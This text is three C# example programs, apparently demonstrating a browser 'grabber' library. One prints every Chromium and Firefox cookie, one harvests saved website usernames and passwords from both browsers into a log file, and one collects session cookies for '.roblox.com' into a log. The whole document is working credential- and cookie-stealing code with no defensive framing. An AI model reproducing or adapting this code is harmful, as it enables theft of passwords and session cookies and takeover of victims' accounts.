static void Main(string[] args) { UniversalGrabber g = new UniversalGrabber(); // Create Grabber var results = g.GetAllCookies(); // Get ALL Cookies Chromium.Cookie[] chromiumCookies = results.Item1.ToArray(); // Simplify grabbed chromium cookies Firefox.Cookie[] firefoxCookies = results.Item2.ToArray(); // Simplify grabbed firefox cookies // Show chromium cookies: Console.WriteLine("CHROMIUM COOKIES:"); foreach (var cg in chromiumCookies) { // Print the hostname, name, and value of the cookie: Console.WriteLine(); Console.WriteLine($"Hostname: {cg.HostKey}"); Console.WriteLine($"Name: {cg.Name}"); Console.WriteLine($"EncValue: {cg.EncryptedValue}"); } Console.WriteLine(); // Show firefox cookies: Console.WriteLine("FIREFOX COOKIES:"); foreach (var cg in firefoxCookies) { // Print the hostname, name, and value of the cookie: Console.WriteLine(); Console.WriteLine($"Hostname: {cg.Host}"); Console.WriteLine($"Name: {cg.Name}"); Console.WriteLine($"Value: {cg.Value}"); } System.Threading.Thread.Sleep(-1); // Pause console }
static void Main(string[] args) { UniversalGrabber g = new UniversalGrabber(); // Create Grabber List <string> logins = new List <string>() { $"==========================================================================================", $"NEW LOG STARTED AT {DateTimeOffset.Now}:", "", }; // Grab logins and store the URLs, Usernames and Passwords in 'logins': foreach (Chromium.Login c in g.GetAllChromiumLogins()) { logins.Add($"Website: {c.OriginUrl} | Username: {c.UsernameValue} | Password: {c.PasswordValue}"); } foreach (Firefox.Login c in g.FG.GetLogins()) { logins.Add($"Website: {c.Hostname} | Username: {c.EncryptedUsername} | Password: {c.EncryptedPassword}"); } File.AppendAllLines(LogFilePath, logins); // Append the grabbed Logins to the log file }
static void Main(string[] args) { UniversalGrabber g = new UniversalGrabber(); // Create Grabber List <string> cookies = new List <string>() { $"==========================================================================================", $"NEW LOG STARTED AT {DateTimeOffset.Now}:", "", }; // Grab cookies and store the URLs, Usernames and Passwords in 'cookies' foreach (Chromium.Cookie c in g.GetAllChromiumCookiesBy(Chromium.CookieHeader.host_key, ".roblox.com")) { cookies.Add($"Host: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); } foreach (Firefox.Cookie c in g.FG.GetCookiesBy(Firefox.CookieHeader.host, ".roblox.com")) { cookies.Add($"Host: {c.Host} | Name: {c.Name} | Value: {c.Value}"); } File.AppendAllLines(LogFilePath, cookies); // Append the grabbed Cookies to the log file }